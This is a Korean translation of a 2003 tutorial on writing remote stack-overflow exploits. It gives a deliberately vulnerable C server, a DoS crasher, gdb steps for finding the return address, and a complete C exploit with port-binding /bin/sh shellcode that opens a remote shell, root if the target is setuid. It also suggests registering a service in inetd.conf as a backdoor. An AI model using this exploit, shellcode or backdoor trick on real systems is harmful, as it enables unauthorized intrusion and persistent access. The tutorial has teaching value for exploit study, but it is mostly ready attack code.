리모트 익스플로잇 작성 방법

+--+

원문서 제목 : How to write remote exploits

원문서 저자 : Robin Walser irc.euirc.net #usad

원문서 작성일 : 2003. 5. 16. 금요일(원문 입수일)

문 서 번역일 : 2003. 5. 16. 금요일

문 서 번역자 : 광주광역쉬에서 세벌쉭

코 멘 트 : 본 번역본은 순전히 개인적인 호기심에서 번역한 것이다.
조금이라도 의심스러운 해석은 원문서를 참조하기 바란다.
오자, 탈자, 오역이 존재하는 초벌 번역임을 참고하시기 바란다.

+--+

리모트 익스플로잇 작성 방법 (V. 1.1)

1. 소개

나의 첫번째 영어 튜토리얼을 입수하시게 된것을 축하드립니다. 이것은 익스플로잇에 관한 나의 첫번째 튜토리얼입니다. 다음페이지에서 나는 리모트 익스플로잇을 작성하는 기본에 대해서 보여주기를 원합니다. 다음것들을 이해 하기 위해서는 "씨 에서의 소켓 프로그래밍", 안시 씨 를 알고 있다고 가정합니다. 또한 당신이 로컬상에서 익스플로잇을 어떻게 작성하는지에 대해서도 알고 있다고 가정합니다. 만일 당신이 이러한 것들에 대해서 전혀 알지 못한다면 나는 당신이 다음의 문서들이나 책들을 읽어 보기를 권합니다.

The C Programming language (Kernighan/Ritchie)
Unix Network Programming (Richard Stevens)
Good tutorials about exploits you can find on my homepage, i.e. smashing the
stack for fun and profit… by aleph1

2. 연습 문제와 함께 시작해 봅시다.

나는 당신이 이것들을 즐기기를 바라 마지 않습니다. 좋습니다. 무엇부터 시작해 볼까요 ? 우리는 리모트 쉘을 획득하기를 원하고 있습니다. 이경우 연습문제를 조사하고 vulnerable.c 브로그램을 읽고, 컴파일하고, 익스플로잇 해보시기 바랍니다. 만일 당신이 리모트 익스플로잇에 대해서 아무 근거를 발견할수가 없다면..... 음 그렇다면 더 자세히 읽어보고 취약프로그램에 있는 첫번째 취약점을 찾아 보도록 하죠... 그리고 익스플로잇 코드의 일반적인 구조에 대해서 알아보고 마지막으로 익스플로잇을 작성하도록 하겠습니다.

```
------------------------------------------ vulnerable.c
#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

#define BUFFER_SIZE 1024
#define NAME_SIZE 2048

int handling(int c) {
    char buffer[BUFFER_SIZE], name[NAME_SIZE];
    int bytes;

    strcpy(buffer, "My name is: ");
    bytes = send(c, buffer, strlen(buffer), 0);
    if (bytes == -1)    return -1;

    bytes = recv(c, name, sizeof(name), 0);
    if (bytes == -1)    return -1;
    name[bytes - 1] = '₩0';
    sprintf(buffer, "Hello %s, nice to meet you!₩r₩n", name);

    bytes = send(c, buffer, strlen(buffer), 0);
    if (bytes == -1)    return -1;
    return 0;
}
```

```
int main(int argc, char *argv[])        {
    int s, c, cli_size;
    struct sockaddr_in srv, cli;

    if (argc != 2)      {
        fprintf(stderr, "usage: %s portWn", argv[0]);
        return 1;
    }

    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s == -1)        {
        perror("socket() failed");
        return 2;
    }

    srv.sin_addr.s_addr = INADDR_ANY;
    srv.sin_port = htons( (unsigned short int) atol(argv[1]));
    srv.sin_family = AF_INET;

    if (bind(s, &srv, sizeof(srv)) == -1)       {
        perror("bind() failed");
        return 3;
    }

    if (listen(s, 3) == -1)     {
        perror("listen() failed");
        return 4;
    }

    for(;;)     {
        c = accept(s, &cli, &cli_size);
        if (c == -1)    {
            perror("accept() failed");
            return 5;
        }
        printf("client from %s", inet_ntoa(cli.sin_addr));
```

```
        if (handling(c) == -1)  fprintf(stderr, "%s: handling() failed", argv[0]);
        close(c);
    }
    return 0;
}
--------------EOF----------------
```

프로그램을 어떻게 컴파일하고 사용하는 방법

```
user@linux:~/ > gcc vulnerable.c -o vulnerable
user@linux:~/ > ./vulnerable 8080
```

./vulnerable 8080 이 명령은 8080 포트를 상에서 서비스를 실행다는 뜻입니다. 당신이 사용하기 원하는 포트를 사용할수 있습니다. 단, 당신이 root 가 아니라면 예약포트(1~1024)를 사용하면 안됩니다. 이제 프로그램을 컴파일했고 어떻게 실행하는지에 대해서 알았습니다... 인자와 함께 말이죠...

program <port>

이제 우리는 프로그램의 어떤 어드레스를 조사하기를 원하고 있습니다. 어떻게 생성되었는지 알아봅시다. gdb 프로그램상에서 vulneralbe 프로그램을 실행합니다. 몇가지를 조사해 봅시다.... 다음과 같이 따라 하세요...:

```
user@linux~/ > gdb vulnerable
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-suse-linux"...

(gdb) run 8080
Starting program: /home/user/directory/vulnerable 8080
```

이제 프로그램은 포트 8080 상의 접속을 감시하고 있습니다.
다음은 telnet 이나 netcat 프로그램으로 포트 8080 을 접속해 봅시다.

```
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
My name is: Hello Robin, nice to meet you!
Connection closed by foreign host.

user@linux:~/ >
```

이제 간단한 서버 프로그램은 이름을 얻고 그것을 당신의 스크린상에 돌려주는 것 외는 어떠한 것도 하지 않습니다. 좋습니다. 좀더 나아가 보죠.... 이와같이 실행이 되는 동안에 gdb(디버거) 스크린상에 다음과 같이 표시했을 것입니다.

```
client from 127.0.0.1 0xbffff28c
```

/*당신 컴퓨터상에 다른 주소가 나타 나더라도 혼동하지 말기 바란다. 단지 내 컴퓨터에서 주소는 0xbffff28c 이다. */

잘했다. 서버는 계속 실행되고 있을 것이다. 왜냐하면 for 루프를 계속해서 돌고 있기 때문이다. 그래서 서버 프로그램은 계속해서 반복할것이다. 당신이 서버프로그램을 죽일때 까지 말이다.

3. 서버 프로그램을 오버플로 하기

이제 포트 8080 상의 서비스로 다시 접속을 하고 명령라인 "My name is:..." 상에 1024 문자 이상을 보내 보도록 하자..... 이 과정은 다음과 같이 보일 것이다.

```
user@linux:~/ > telnet localhost 8080
Trying ::1...
telnet: connect to address ::1: Connection refused
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
```

```
My name is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```

이제 telnet 클라이언트는 연결이 해제 되어 버렸다..... 왜 그랬을까. gdb 의 출력 결과를 보면...

```
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb)
```

// 아직 gdb 를 종료 하지 말아라.
무슨일이 일어 난 것일까 ? 우리가 볼수 있는바와 같이 eip 는 0x41414141 이다. 여기서 당신은 "왜 ?" 라고 의문을 갖일수 있다.

그래, 내가 그 의문에 대한 설명을 해 보이겠다. 0x41 는 ‘A’를 나타낸다... 우리는 1024바이트 이상의 문자를 입력했다. 그래서 프로그램은 name[2048] 문자열을 buffer[1024] 변수에 복사를 시도했고... ... name[2048] 문자열은 1024 바이트 이상의 문자열을 가지고 있고 name 문자열은 buffer 를 오버라이트 하게 된것이다. 그래서 저장된 eip(Extended Instruction Pointer, 여기에 리턴주소가 저장되어 있다.) 가 오버라이트 된것이다. 결과적으로 우리의 buffer 는 다음과 같을 것이다.

```
[xxxxxxxx-name-2048-bytes-xxxxxxxxxx]
[xxxxx buffer-only-1024-bytes xxx] [EIP]
```

스택은 이와 같이 되어 있다. 우리는 buffer 에 1024 바이트 이상을 보냈고 그 결과 eip 를 오버라이트 했다.

// eip 는 4 바이트 크기를 갖고 있다는 것을 잊지 말거라.

리턴주소를 오버라이트되어진 후에 함수는 main 함수로 돌아가기를 원한다. 하지만 잘못된 주소(0x41414141)로 점프를 하게 될것이다..... 그리고는 세그먼트 폴트가 발생한다.

이 프로그램을 위한 DoS 툴이다.(Now here's a DoS tool for this program:)

---------- dos.c

```
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>

int main(int argc, char **argv) {
    struct sockaddr_in addr;
    struct hostent *host;
    char buffer[2048];
    int s, i;

    if(argc != 3)       {
        fprintf(stderr, "usage: %s <host> <port>₩n", argv[0]);
        exit(0);
    }
    s = socket(AF_INET, SOCK_STREAM, 0);

    if(s == -1) {
        perror("socket() failed₩n");
        exit(0);
    }

    host = gethostbyname(argv[1]);
    if( host == NULL)   {
        herror("gethostbyname() failed");
        exit(0);
    }
```

```
    addr.sin_addr = *(struct in_addr*)host->h_addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(atol(argv[2]));

    if(connect(s, &addr, sizeof(addr)) == -1)   {
        perror("couldn't connect so server₩n");
        exit(0);
    }

    /* Not difficult only filling buffer with A's.... den sending nothing more */
    for(i = 0; i < 2048 ; i++)  buffer[i] = 'A';

    printf("buffer is: %s₩n", buffer);
    printf("buffer filled... now sending buffer₩n");
    send(s, buffer, strlen(buffer), 0);
    printf("buffer sent.₩n");
    close(s);
    return 0;
}
----------------- EOF
```

4. 리턴 주소 찾기

자. 첫번째로 gdb 를 실행하고 esp ygw ofZhgsuf... gdb 안에서 esp 를 찾기 위해서. (gdb 를 종료하지 않기를 바란다) SEGFAULT 가 발생한 후에.... 잘하고 있다. 이제 거기서 x/200bx $esp-200 라고 입력을 해라. 그러면 주소 추력결과를 얻을수 있을 것이다. 그 결과는 :

```
(gdb) x/200bx $esp-200
0xbffff5cc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5d4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5dc: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5e4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5ec: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff5f4: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
```

```
~~ 생략 ~~
0xbffff65c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff664: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff66c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff674: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
0xbffff67c: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
---Type <return> to continue, or q <return> to quit---
```

잘 했다. 알다시피 우리는 전체 buffer를 오버라이트 했다. 그래서 우리는 그러한 주소중에 하나를 취할수 있다.... 다음에 보여줄 것이다. 왜 이렇게 하는가....(왜냐하면 주소를 추측하기를 원하기 때문이다). 아마도 당신은 NOP's 테크닉을 알고 있을 것이다. ... 그래서 우리의 익스플로잇이 아주 잘 작동하게 하거나 리턴어드레스를 추측하기 위해 더많은 기회를 갖는데 아무 문제가 없다.

주의 0x41의 끝 가까이있는 주소를 취하지 말라. 중간 부분에 있는 주소를 취하라. 우리는 그것을 NOPS로 오버라이트 할것이다.

5. 익스플로잇 코드의 구조

가능한 리턴 주소를 찾은 다음에 그것을 사용하여 시도를 하기 위해서 ..... 잇스플로잇 코드는 다음과 같은 구조를 가지고 있어야 한다.

1. 첫번째 esp 를 찾아야 한다. 그것을 찾은 후에는(우리는 esp 근방의 주소를 찾았고 그것은 아무 문제가 없다. 왜냐하면 buffer를 NOP's 로 채을 것이기 때문이다)... 이제 포트상에서 쉘을 바인드할 좋은 쉘코드를 찾는 일이다. 잊지 말아야 할것은 : 리모트 익스플로잇상에서 당신은 로컬 익스플로잇 쉘코드를 사용할수 없다. 좋다 우리는 할수 있다. 하지만 그것은 별로 현명한 방법이 아니다. 그래서 우리는 쉘을 얻을수 있는 다른 방법을 찾아야 한다. 포트바이드 쉘코드는 무엇이고 포트에 어떻게 쉘을 바인드 하는가..??? 이러한 인터넷에는 많은 포트바이드 쉘코드들이 있다. www.hack.co.za or my page *g*.

2. 1024 바이트 이상의 버퍼를 선언해라... 그것을 1064바이트를 만들어라. 그래서 eip 를 오버라이트하기위해서 아무 문제가 없다. 1024바이트 보다큰 버퍼를 선언해야 한다는 것을 잊지 말기 바란다.

3. 버퍼를 준비해라. NOP 로 전체 버퍼를 채우라.

```
memset(buffer, 0x90, 1064);
```

4. 버퍼안에 쉘코드를 복사하라.

```
memcpy(buffer+1001-sizeof(shellcode), shellcode, sizeof(shellcode));
```

여기서 우리는 버퍼의 중간에 쉘코드를 넣을 것이다.
왜 ? 만일 우리가 시작부분에 충분한 NOP를 갖고 있다면 우리는 쉘코드를 실행하기가 더 좋기 때문이다.

5. 버퍼안에서 널바이트로 종료를 한다.

```
buffer[1000] = 0x90; // 0x90 는 헥사에서 NOP 이다.
```

6. 버퍼의 끝에 리턴주소를 복사한다.

```
for(i = 1022; i < 1059; i+=4)     {
    ((int *) &buffer[i]) = RET;
    // RET 는 우리가 사용하기 원하는 리턴 주소이다. #define 로 정의 하였다.
}
```

우리는 buffer 는 1024 바이트로 끝난다는 것을 알고있다. 하지만 우리는 1022 에서 시작한다. 그래서 우리는 리턴주소를 1059 바이트 까지 복사한다. 그것으로 충분하다. 왜냐하면 우리는 이미 eip를 오버라이트 했기때문이다.

7. 준비된 buffer 상에 널 바이트를 추가한다.

```
buffer[1063] = 0x0;
```

이제 우리의 buffer 가 준비되었다. 취약 호스트에 그것을 보내기만 하면된다.

---------- exploit.c

```
/* 간단한 리모트 익스플로잇. 포트 3789 상에 쉘을 바인드 한다.
* 리턴주소가 오버라이트 된 다음에 당신은 telnet 이나 netcat을 통해서 타켓 호스의 포트 3789 에 접속할수 있다.
```

```
* 로긴된 다음에 .... 아무것도 실행되지 않다. 하지만  "id;" (세미 콜론을 입력하는것을 잊지 말라)
라고 입력을 해보라.
* 당신은 출력을 보게 될것이다. 당신은 쉘을 얻은 것이다. 항상 다음과 같이 입력하라.
* <command>;
*/

#include <stdio.h>
#include <netdb.h>
#include <netinet/in.h>

//Portbinding Shellcode
char shellcode[] =
"₩x89₩xe5₩x31₩xd2₩xb2₩x66₩x89₩xd0₩x31₩xc9₩x89₩xcb₩x43₩x89₩x5d₩xf8"
"₩x43₩x89₩x5d₩xf4₩x4b₩x89₩x4d₩xfc₩x8d₩x4d₩xf4₩xcd₩x80₩x31₩xc9₩x89"
"₩x45₩xf4₩x43₩x66₩x89₩x5d₩xec₩x66₩xc7₩x45₩xee₩x0f₩x27₩x89₩x4d₩xf0"
"₩x8d₩x45₩xec₩x89₩x45₩xf8₩xc6₩x45₩xfc₩x10₩x89₩xd0₩x8d₩x4d₩xf4₩xcd"
"₩x80₩x89₩xd0₩x43₩x43₩xcd₩x80₩x89₩xd0₩x43₩xcd₩x80₩x89₩xc3₩x31₩xc9"
"₩xb2₩x3f₩x89₩xd0₩xcd₩x80₩x89₩xd0₩x41₩xcd₩x80₩xeb₩x18₩x5e₩x89₩x75"
"₩x08₩x31₩xc0₩x88₩x46₩x07₩x89₩x45₩x0c₩xb0₩x0b₩x89₩xf3₩x8d₩x4d₩x08"
"₩x8d₩x55₩x0c₩xcd₩x80₩xe8₩xe3₩xff₩xff₩xff/bin/sh";

//standard offset (probably must be modified)

#define RET 0xbffff5ec

int main(int argc, char *argv[]) {
    char buffer[1064];
    int s, i, size;
    struct sockaddr_in remote;
    struct hostent *host;

    if(argc != 3) {
        printf("Usage: %s target-ip port₩n", argv[0]);
        return -1;
    }
```

```
// filling buffer with NOPs
memset(buffer, 0x90, 1064);

//copying shellcode into buffer
memcpy(buffer+1001-sizeof(shellcode) , shellcode, sizeof(shellcode));

// the previous statement causes a unintential Nullbyte at buffer[1000]
buffer[1000] = 0x90;

// Copying the return address multiple times at the end of the buffer...
for(i=1022; i < 1059; i+=4) {
    * ((int *) &buffer[i]) = RET;
}
buffer[1063] = 0x0;

//getting hostname
host=gethostbyname(argv[1]);
if (host==NULL)     {
    fprintf(stderr, "Unknown Host %s₩n",argv[1]);
    return -1;
}

// creating socket...
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)  {
    fprintf(stderr, "Error: Socket₩n");
    return -1;
}

//state Protocolfamily , then converting the hostname or IP address, and getting port number
remote.sin_family = AF_INET;
remote.sin_addr = *((struct in_addr *)host->h_addr);
remote.sin_port = htons(atoi(argv[2]));

// connecting with destination host
if (connect(s, (struct sockaddr *)&remote, sizeof(remote))==-1)     {
```

```
        close(s);
        fprintf(stderr, "Error: connect₩n");
        return -1;
    }

    //sending exploit string
    size = send(s, buffer, sizeof(buffer), 0);
    if (size==-1)       {
        close(s);
        fprintf(stderr, "sending data failed₩n");
        return -1;
    }

    // closing socket
    close(s);
}
-------------------------------EOF
```

6. 익스플로잇 사용하기

user@linux~/ > **gcc exploit.c -o exploit**
user@linux~/ > **./exploit <host> <port>**

이제 올바른 리턴 주소를 얻게 되었다면 잘 작동할것이다. 또는 올바른 리턴 주소중 하나....

user@linux~/ > **telnet <host> 3879**

연결이 된후에 다음과 같이 입력하고 결과를 볼수 있다면...

id;
uid=500(user) gid=500(user) groups=500(user)

당신이 결과를 볼수 있다면 올바로 작동을 하게 될것이다.

7. root 권한 얻기

다음과 같이 실행해 보라.

```
user@linux~/ > su
password: ******

root@linux~/ > ls -ln vulnerable
-rwxrwxr-x 1 500 500 14106 Jun 18 14:12 vulnerable

root@linux~/ > chown root vulnerable
root@linux~/ > chmod 6755 vulnerable
root@linux~/ > ./vulnerable <port>
```

이제 당신은 서버 프로그램을 익스플로잇 할수 있다. 또한 ,root 쉘을 실행할수 있다.

8. inetd.conf 에 서비스 입력하기

이제 데몬으로 작동하는 프로그램으로 관심을 돌려 보자. 다음과 같이 해보자.
우선 vulneralbe 프로그램을 /usr/bin/ 에 복사를 한다.

```
root@linux~/ > cp vulnerable /usr/bin/vulnerable
```

이제 몇가지 화일을 수정하자...

```
root@linux~/ > vi /etc/services
```

(vi 대신에 당신이 좋아하는 편집기를 사용하라)

당신이 원하는 포트를 사용하라. 나는 1526 포트를 사용한다. 이제 /etc/services 화일안에 이 정보를 입력하라.

```
vulnerable 1526/tcp # 우리의 서버 프로그램을 위한 포트의 정의.
```

저장 그리고 종료한다.

이제 inetd.conf 화일을 편집한다.

root@linux~/ > **vi /etc/inetd.conf**

다음을 입력한다.
vulnerable stream tcp nowait root /usr/bin/vulnerable vulnerable 1526

이제 inetd.conf 화일을 저장하고 종료한다.

root@linux~/ > **killall -HUP inetd**

이제 inetd 을 재 시작하고 모든것은 작동하게 된다.....

Note: 이 방법은 백도어를 만드는 좋은 방법이다. /etc/services 화일에 서비스를 추가하고 inetd.conf 화일에 몇가지를 추가한다. 그리고 /bin/sh sh –i or sh –h *g*....

9. 문제 해결

만일 익스플로잇이 작동을 하지 않는다면 리턴 주소에대해 잘 생각해 바라. 그것이 잘못되었다면 gdb 에서 테스트 해보라...

user@linux~/ > **gdb vulnerable**
.....
(gdb) **run <port>**

당신은 이제 프로그램을 익스플로잇 할수 있다. 만일 gdb 출력 상에서 보여지지 않는다면 리턴 주소를 발견하기 위해서 챕터 4장에서와 같이 시도를 해보라. 만일 어떤 다른 문제도 없다면 기타사항들(챕터 10장)을 보기 바란다.

10. 기타사항들(주의사항들)

만일 버그를 발견하게 된다면 나에게(me) 메일을 보내기 바란다. 그러면 수정하겠다. 당신이 나의 영어에 대해서 비난을 원한다면 나는 당신의 메시지를 지울것이다.:-). 아무도 완벽할수는 없다. 하지만 이것들을 이해하는데 진짜로 문제점들을 가지고 있다면 나한테 물어 보기 바란다....

하지만 이것들에 관해서 나한테 바보같은 잘문을 하지 않기를 바란다. 나는 모든 질문에 대답할 시간을 가지고 있지 않다. 만일 당신이 이 문서를 당신의 홈페이지에 게제하기를 원한다면 아무 문제가 없다. 하지만 저작권이나 다른 것들에 대해서 변경을 하지 않기를 바란다.(If you want to put this text on your page, no problem, but please do not change the copyright or other things....)

11. 인사말

Thanks to Maverick for the vulnerable programm *hehe* (in his Tutorial "Socket Programming"), thanks to triton for the exploitcode (great man, also member of buha-security.de) Greets to all members of buha-security.de and greets to XaitaX, cat, Anthraxx, Jess (I wonder what happend with her), DrDoo (knuff) and of course one of my best friends Richard Hirner (well I know him 1,2 year ago, but we didn't meet us.... *g*..)... at least greets to all apprentices of LGT Bank in Liechtenstein, special greets to Marc, Etienne, Martina... (Toni from Hospital too, my own appretice)